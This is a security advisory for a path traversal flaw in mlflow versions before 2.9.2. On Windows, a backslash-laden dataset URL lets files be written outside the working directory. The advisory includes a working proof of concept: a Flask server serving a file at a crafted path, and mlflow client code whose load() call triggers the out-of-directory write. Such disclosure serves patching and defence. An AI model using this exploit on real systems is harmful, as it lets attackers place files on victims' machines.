Path Traversal Affecting mlflow package, versions [,2.9.2)

mlflow is a platform to streamline machine learning development, including tracking experiments, packaging code into reproducible runs, and sharing and deploying models.

Affected versions of this package are vulnerable to Path Traversal by loading datasets on Windows. Exploiting this vulnerability is possible when the filename is controlled by the path of the URL on Windows then, it is possible to write files outside of the current working directory using backslash '' instead of front slash '/' as posixpath.basename does not work with Windows paths.

Server:

from flask import Flask, Response
app = Flask(__name__)

@app.route("/\Users\User\poc.txt")
def index():
    res = Response("""
"fixed acidity";"volatile acidity";"citric acid";"residual sugar";"chlorides";"free sulfur dioxide";"total sulfur dioxide";"density";"pH";"sulphates";"alcohol";"quality"
7.4;0.7;0;1.9;0.076;11;34;0.9978;3.51;0.56;9.4;5
7.8;0.88;0;2.6;0.098;25;67;0.9968;3.2;0.68;9.8;5
    """)
    return res
app.run("0.0.0.0", 4444)

Run the following on Windows, make sure to replace the \Users\User\poc.txt to whatever directory you control.

import mlflow.data
import pandas as pd
from mlflow.data.pandas_dataset import PandasDataset

dataset_source_url = "http://localhost:4444/\\Users\\User\\poc.txt"
df = pd.read_csv(dataset_source_url)
dataset: PandasDataset = mlflow.data.from_pandas(df, source=dataset_source_url)
with mlflow.start_run():
    mlflow.log_input(dataset, context="training")
run = mlflow.get_run(mlflow.last_active_run().info.run_id)
dataset_info = run.inputs.dataset_inputs[0].dataset
dataset_source = mlflow.data.get_source(dataset_info)
dataset_source.load()

• GitHub Commit
• GitHub PR